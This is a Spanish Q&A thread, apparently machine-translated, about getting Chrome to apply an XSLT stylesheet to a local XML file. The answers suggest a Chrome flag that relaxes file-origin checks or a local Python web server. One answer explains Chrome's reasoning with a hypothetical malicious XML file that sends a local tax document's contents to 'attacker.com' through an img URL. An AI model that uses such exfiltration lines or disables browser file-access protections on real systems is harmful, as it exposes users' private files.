xml - tutorial - xslt editor
¿Se puede hacer Chrome para realizar una transformación XSL en un archivo local? (6)
Estaba investigando xslt y comencé a probar con los ejemplos en w3schools.
Sin embargo, cuando guardo los archivos xml y xsl en archivos y trato de abrirlos localmente, cromo no realizará la transformación xsl. Simplemente muestra una página en blanco.
He añadido la etiqueta <?xml-stylesheet type="text/xsl" href="style.xsl">
al documento xml, y firefox la muestra como se supone que debe verse. Además, si miro los archivos a través de un servidor web, Chrome muestra el archivo como se supone que debe verse.
¿Es que Chrome tiene problemas para encontrar la información de la hoja de estilo cuando el enlace es local? Cambiar el href al file:///C:/xsl/style.xsl
no hizo ninguna diferencia.
Actualización: Esto parece ser un efecto secundario de una política de seguridad al no tratar el archivo: /// * como el mismo origen. Esto hace que aparezca el siguiente error en la consola:
Intento inseguro de cargar el archivo URL: /// C: /xsl-rpg/style.xsl desde el marco con el archivo URL: /// C: /xsl-rpg/data.xml. Deben coincidir los dominios, protocolos y puertos.
Funciona para mí: "C: / path / to / chrome.exe" --user-data-dir = C: / dir --allow-file-access-from-files
La respuesta breve es "No, utilice uno de los diversos navegadores que hay" .
La razón por la que esto no funciona se debe a una preocupación de seguridad que Chrome ha abordado de forma controvertida [1] [2] [3] [4] , al bloquear el acceso de archivos XML a archivos XSLT locales en el mismo directorio, mientras que HTML los archivos pueden acceder a los archivos .CSS en el mismo directorio sin problemas.
A través de los problemas mencionados anteriormente, los usuarios han pedido un mensaje de error más claro (ya que los dominios, protocolos y puertos de hecho coinciden) o, al menos, muestran el XML sin el estilo. Los desarrolladores de Chrome han ignorado estas solicitudes.
Mi solución para ver un xml de acuerdo con un archivo xsl
Supongamos que tenemos un some_file.xml con encabezados:
<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
- Descargamos el archivo
https://some-site.com/Common.xsl
y lo colocamos junto alsome_file.xml
- Cambia parte de nuestro encabezado de
href="https://some-site.com/Common.xsl"
ahref="http://localhost:8001/Common.xsl"
- Ejecutar en el directorio con nuestros archivos -
python3 -m http.server 8001
- Abrir en cualquier navegador
http://localhost:8001/some_file.xml
Puedes hacer esto localmente usando los indicadores de línea de comando de Chrome.
El indicador específico es --allow-file-access-from-files
En OS X: desde Terminal.app ejecute /Applications/Google/ Chrome.app/contents/MacOS/Google/ Chrome --allow-file-access-from-files
En Windows: desde el símbolo del sistema, ejecute %LOCALAPPDATA%/Google/Chrome/Application/chrome.exe --allow-file-access-from-files
Nota: probablemente deberás salir de Chrome si actualmente se está ejecutando, de lo contrario, Ch
Si quiere apegarse al OP, la respuesta es No (como han señalado otros), pero una forma de solucionar el problema es ejecutar un servidor web simple y abrir archivos a través de http en cromo. Si tiene instalado python 2.x, puede ejecutar un servidor web escribiendo:
python -m SimpleHTTPServer
O en Python 3.x:
python3 -m http.server
y luego abra el archivo usando http://localhost:8000/yourfile.xml
en chrome. Esperemos que solo quiera hacer su trabajo y no es algo crucial tener que abrir el archivo usando el file://
Tomó un poco de descifrado en la página de error de Chrome: están muy interesados en no explicar cuál es el problema, y por qué eligieron romper a todos en lugar de no romper a todos.
Supongamos que tengo un archivo XML, en algún lugar , en mi disco duro, por ejemplo:
C: / Users / Ian / Documents / Taxes / StudioTaxReturn_2015.xml
Y una entidad maliciosa - de alguna manera - logró soltar un archivo Xml malicioso en mi computadora, por ejemplo:
C: / Users / Ian / AppData / LocalLow / Temp / TrojanVirusWorm.xml
Imagine TrojanVirusWorm.xml contiene una instrucción de procesamiento de hoja de estilo ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
El atacante ordena a mi navegador navegar al archivo trojanVirusWorm.xml
guardado localmente.
Aparentemente hay una forma en que un archivo XML puede leer el contenido del archivo XSD (en lugar de ser transformado por el archivo XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
<!--And then a miracle happens, and this XML file is able to read
the contents of the stylesheet xml file-->
<html>
<img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>
No entiendo cómo un archivo XML puede leer un archivo de hoja de estilo. Pero el equipo de Chrome nos asegura que es un peligro y que no se puede resolver.
Todos los demás navegadores lo resolvieron. Lo resolvieron porque no es un problema .